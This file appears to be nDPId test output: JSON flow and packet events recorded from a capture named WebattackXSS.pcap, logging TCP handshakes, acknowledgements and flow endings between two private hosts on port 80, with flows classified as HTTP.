+00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":971,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":1499347080793,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53408,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":68,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":971,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347080,"pkt_ts_usec":793785,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8x4ZAAD4G\/kmsEAABwKgKMtCgAFDV9pHnAAAAAKACchDOmgAAAgQFtAQCCAoBOVZhAAAAAAEDAwc="} +00442{"flow_id":68,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":972,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347080,"pkt_ts_usec":793933,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0KAcF4FK1faR6KAScSAGXQAAAgQFtAQCCAoD4yfYATlWYQEDAwc="} +00431{"flow_id":68,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":973,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347080,"pkt_ts_usec":794520,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0x4dAAD4G\/lCsEAABwKgKMtCgAFDV9pHoHBeBS4AQAOWlZAAAAQEICgE5VmED4yfY"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":980,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_first_seen":1499347082084,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53422,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":69,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":980,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347082,"pkt_ts_usec":84347,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8rj9AAD4GF5GsEAABwKgKMtCuAFC6z\/mcAAAAAKACchCAvAAAAgQFtAQCCAoBOVejAAAAAAEDAwc="} +00442{"flow_id":69,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":981,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347082,"pkt_ts_usec":84510,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0K6mztSPus\/5naAScSDZPwAAAgQFtAQCCAoD4ykaATlXowEDAwc="} +00430{"flow_id":69,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":982,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347082,"pkt_ts_usec":85231,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rkBAAD4GF5isEAABwKgKMtCuAFC6z\/mdps7UkIAQAOV4RgAAAQEICgE5V6QD4yka"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":989,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1499347083358,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53436,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":70,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":989,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347083,"pkt_ts_usec":358642,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA81M5AAD4G8QGsEAABwKgKMtC8AFCsV4wsAAAAAKACchD7VwAAAgQFtAQCCAoBOVjiAAAAAAEDAwc="} +00443{"flow_id":70,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":990,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347083,"pkt_ts_usec":358772,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0LzW0\/50rFeMLaAScSD4sQAAAgQFtAQCCAoD4ypZATlY4gEDAwc="} +00430{"flow_id":70,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":991,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347083,"pkt_ts_usec":359360,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA01M9AAD4G8QisEAABwKgKMtC8AFCsV4wt1tP+dYAQAOWXuQAAAQEICgE5WOID4ypZ"} +00430{"flow_id":66,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":995,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347083,"pkt_ts_usec":633381,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0VttAAD4Gbv2sEAABwKgKMtCEAFCbYgUJSTysmYARAOUUSwAAAQEICgE5WScD4yVH"} +00430{"flow_id":66,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":996,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347083,"pkt_ts_usec":633597,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0hgRAAEAGPdTAqAoyrBAAAQBQ0IRJPKyZm2IFCoARAOMO9gAAAQEICgPjKp0BOVkn"} +00430{"flow_id":66,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":997,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347083,"pkt_ts_usec":634304,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0VtxAAD4GbvysEAABwKgKMtCEAFCbYgUKSTysmoAQAOUO9AAAAQEICgE5WScD4yqd"} +00431{"flow_id":67,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1001,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347084,"pkt_ts_usec":634285,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA01thAAD4G7v+sEAABwKgKMtCSAFDwQYPImOoR7IARAOWJYgAAAQEICgE5WiED4yaI"} +00431{"flow_id":67,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1002,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347084,"pkt_ts_usec":634533,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0OnRAAEAGiWTAqAoyrBAAAQBQ0JKY6hHs8EGDyYARAOOEUwAAAQEICgPjK5gBOVoh"} +00431{"flow_id":67,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1003,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347084,"pkt_ts_usec":635243,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA01tlAAD4G7v6sEAABwKgKMtCSAFDwQYPJmOoR7YAQAOWEUQAAAQEICgE5WiED4yuY"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1004,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":1,"flow_first_seen":1499347084644,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53450,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":71,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1004,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347084,"pkt_ts_usec":644490,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8o6RAAD4GIiysEAABwKgKMtDKAFAgx\/mHAAAAAKACchAYPgAAAgQFtAQCCAoBOVojAAAAAAEDAwc="} +00443{"flow_id":71,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1005,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347084,"pkt_ts_usec":644574,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0Mrcl6UQIMf5iKAScSBn9wAAAgQFtAQCCAoD4yuaATlaIwEDAwc="} +00433{"flow_id":71,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1006,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347084,"pkt_ts_usec":645344,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0o6VAAD4GIjOsEAABwKgKMtDKAFAgx\/mI3JelEYAQAOUG\/gAAAQEICgE5WiQD4yua"} +00432{"flow_id":68,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1016,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347086,"pkt_ts_usec":635096,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0x4hAAD4G\/k+sEAABwKgKMtCgAFDV9pHoHBeBS4ARAOWfrwAAAQEICgE5XBUD4yfY"} +00432{"flow_id":68,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1017,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347086,"pkt_ts_usec":635315,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0rMdAAEAGFxHAqAoyrBAAAQBQ0KAcF4FL1faR6YARAOOZ\/AAAAQEICgPjLYwBOVwV"} +00432{"flow_id":68,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1018,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347086,"pkt_ts_usec":636029,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0x4lAAD4G\/k6sEAABwKgKMtCgAFDV9pHpHBeBTIAQAOWZ+gAAAQEICgE5XBUD4y2M"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1022,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":1499347087256,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53476,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":72,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1022,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347087,"pkt_ts_usec":256238,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8beFAAD4GV++sEAABwKgKMtDkAFAnsDFRAAAAAKACchDW5AAAAgQFtAQCCAoBOVywAAAAAAEDAwc="} +00443{"flow_id":72,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1023,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347087,"pkt_ts_usec":256339,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0OTlcRoYJ7AxUqAScSCmLwAAAgQFtAQCCAoD4y4nATlcsAEDAwc="} +00432{"flow_id":72,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1024,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347087,"pkt_ts_usec":257111,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0beJAAD4GV\/asEAABwKgKMtDkAFAnsDFS5XEaGYAQAOVFNgAAAQEICgE5XLED4y4n"} +00432{"flow_id":69,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1028,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347087,"pkt_ts_usec":635700,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rkFAAD4GF5esEAABwKgKMtCuAFC6z\/mdps7UkIARAOVy2gAAAQEICgE5XQ8D4yka"} +00432{"flow_id":69,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1029,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347087,"pkt_ts_usec":635966,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0+hZAAEAGycHAqAoyrBAAAQBQ0K6mztSQus\/5noARAONtbwAAAQEICgPjLoYBOV0P"} +00432{"flow_id":69,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1030,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347087,"pkt_ts_usec":636674,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rkJAAD4GF5asEAABwKgKMtCuAFC6z\/meps7UkYAQAOVtbAAAAQEICgE5XRAD4y6G"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1034,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":1,"flow_first_seen":1499347088552,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53490,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":73,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1034,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347088,"pkt_ts_usec":552811,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA892FAAD4Gzm6sEAABwKgKMtDyAFAECKqUAAAAAKACchB\/9gAAAgQFtAQCCAoBOV31AAAAAAEDAwc="} +00443{"flow_id":73,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1035,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347088,"pkt_ts_usec":552900,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0PJdbGlkBAiqlaAScSCGtgAAAgQFtAQCCAoD4y9rATld9QEDAwc="} +00431{"flow_id":73,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1036,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347088,"pkt_ts_usec":553690,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA092JAAD4GznWsEAABwKgKMtDyAFAECKqVXWxpZYAQAOUlvgAAAQEICgE5XfUD4y9r"} +00431{"flow_id":70,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1040,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347088,"pkt_ts_usec":636399,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA01NBAAD4G8QesEAABwKgKMtC8AFCsV4wt1tP+dYARAOWSkAAAAQEICgE5XgoD4ypZ"} +00432{"flow_id":70,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1041,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347088,"pkt_ts_usec":636582,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA00fVAAEAG8eLAqAoyrBAAAQBQ0LzW0\/51rFeMLoARAOONagAAAQEICgPjL4ABOV4K"} +00431{"flow_id":70,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1042,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347088,"pkt_ts_usec":637124,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA01NFAAD4G8QasEAABwKgKMtC8AFCsV4wu1tP+doAQAOWNaAAAAQEICgE5XgoD4y+A"} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1043,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":6,"flow_first_seen":1499347015165,"flow_last_seen":1499347020614,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52722,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1043,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":6,"flow_first_seen":1499347015165,"flow_last_seen":1499347020614,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52722,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1043,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":6,"flow_first_seen":1499347016455,"flow_last_seen":1499347021614,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52736,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1043,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":6,"flow_first_seen":1499347016455,"flow_last_seen":1499347021614,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52736,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1043,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":6,"flow_first_seen":1499347017745,"flow_last_seen":1499347023616,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52750,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1043,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":6,"flow_first_seen":1499347017745,"flow_last_seen":1499347023616,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52750,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1043,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":6,"flow_first_seen":1499347020329,"flow_last_seen":1499347025616,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52776,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1043,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":6,"flow_first_seen":1499347020329,"flow_last_seen":1499347025616,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52776,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1043,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":6,"flow_first_seen":1499347021621,"flow_last_seen":1499347027616,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52790,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1043,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":6,"flow_first_seen":1499347021621,"flow_last_seen":1499347027616,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52790,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":71,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1049,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347090,"pkt_ts_usec":637730,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0o6ZAAD4GIjKsEAABwKgKMtDKAFAgx\/mI3JelEYARAOUBIwAAAQEICgE5X\/4D4yua"} +00432{"flow_id":71,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1050,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347090,"pkt_ts_usec":637883,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0lGVAAEAGL3PAqAoyrBAAAQBQ0Mrcl6URIMf5iYAQAOP7SQAAAQEICgPjMXUBOV\/+"} 